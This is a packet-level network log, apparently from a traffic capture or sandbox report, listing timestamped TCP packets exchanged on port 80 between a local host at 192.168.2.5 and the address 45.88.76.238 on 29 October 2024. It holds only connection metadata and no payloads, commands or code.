Oct 29, 2024 18:42:13.823251963 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.900912046 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.900940895 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.900964975 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.901113987 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.901289940 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.901319027 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.901335001 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.901448965 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.901448965 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.901448965 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.901472092 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.901489019 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.901504040 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.901532888 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.901593924 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.901607037 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.901609898 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.901626110 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.901659966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.901659966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.901668072 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.901715994 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.901715994 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.941627979 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.941817045 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.941838980 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.941854954 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.941870928 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.941976070 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.941977024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.941977024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.941977024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.941977024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.941981077 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.941998005 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942013025 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942034960 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.942048073 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.942087889 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.942138910 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942158937 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942214966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.942214966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.942306042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942373037 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.942500114 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942517042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942615032 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.942656994 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942673922 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942687988 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942709923 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.942738056 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.942832947 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942846060 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942859888 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942878008 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942893028 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.942894936 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.942977905 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.942979097 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.943001032 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.943056107 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.943115950 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.943116903 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.943197966 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.943212032 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.943289042 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.943289042 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.943384886 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.943402052 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.943417072 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.943437099 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.943461895 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.943461895 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.943531036 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.943546057 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.943589926 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.943589926 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.020749092 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.020931005 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.020947933 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.020993948 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.020993948 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.020993948 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.021347046 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.021363020 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.021378994 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.021400928 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.021415949 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.021425962 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.021475077 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.021480083 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.021558046 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.021656990 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.021672964 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.021688938 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.021703959 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.021720886 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.021735907 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.021743059 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.021743059 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.021812916 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.021812916 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.022015095 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.022027969 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.022114038 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.061476946 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.061496973 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.061511040 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.061717033 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.061717033 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.061801910 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.061817884 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.061836004 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.061853886 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.061894894 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.061894894 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.061924934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.061969042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.061995029 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062017918 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062020063 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.062024117 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062036037 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.062094927 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.062290907 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062306881 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062320948 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062366009 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.062366009 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.062434912 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062453032 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062546015 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.062546015 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.062596083 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062661886 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.062787056 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062800884 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062815905 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062850952 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.062870026 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.062961102 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062974930 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.062988997 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.063004971 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.063011885 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.063020945 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.063034058 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.063091040 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.063138008 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.063138008 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.063281059 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.063296080 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.063332081 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.063354969 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.063440084 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.063456059 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.063559055 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.063560009 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.108057022 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.108176947 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.108201981 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.108247042 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.140508890 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.140535116 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.140551090 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.140649080 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.140708923 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.140825987 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.140841007 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.140857935 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.140928030 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.140928030 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.141133070 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.141149044 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.141164064 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.141179085 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.141201019 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.141201019 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.141237020 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.141273975 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.141288996 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.141303062 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.141334057 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.141334057 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.141347885 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.141627073 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.141644001 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.141659021 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.141695976 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.141696930 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.181276083 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181294918 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181310892 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181415081 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.181416035 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181432962 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181452990 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181463003 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.181488991 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.181509018 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.181566000 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181582928 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181598902 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181615114 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181619883 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.181628942 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.181653023 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.181678057 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.181894064 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181910038 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181926012 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.181950092 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.181977987 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.182250023 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.182265043 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.182281017 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.182296991 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.182313919 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.182359934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.182359934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.182359934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.182929039 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.182945013 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.182960987 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.182976961 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.182981014 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.183017969 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.183083057 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.183113098 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.183129072 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.183166027 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.183212042 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.183267117 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.183286905 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.183334112 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.183334112 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.184108973 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.184124947 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.184142113 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.184155941 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.184171915 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.184180975 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.184180975 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.184221029 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.184252977 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.184302092 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.262393951 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262412071 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262428045 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262443066 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262458086 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262490988 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262506962 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262509108 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.262521982 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262526035 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.262537956 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262553930 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262568951 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262574911 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.262584925 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262600899 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262615919 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262630939 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.262630939 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.262633085 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.262641907 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.262752056 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301208019 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301318884 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301376104 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301398039 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301414967 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301429987 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301460981 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301460981 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301460981 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301481009 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301521063 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301537991 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301589012 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301589012 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301701069 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301716089 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301731110 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301779985 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301779985 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301779985 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301862955 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301878929 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301894903 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301908970 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.301925898 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301925898 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301945925 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.301965952 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.302001953 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302022934 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302054882 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.302073956 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.302370071 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302387953 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302402973 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302429914 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302438974 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.302438974 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.302445889 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302462101 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302478075 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302484989 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.302494049 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302503109 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.302510977 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302526951 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302542925 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.302560091 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.302560091 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.302606106 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.302964926 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.303004026 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.303020000 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.303059101 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.303059101 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.303059101 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.379878044 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.379909039 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.379928112 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.379956961 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.380002975 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.380518913 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.380534887 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.380551100 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.380565882 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.380574942 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.380600929 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.380604982 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.380636930 CET	80	49704	45.88.76.238	192.168.2.5
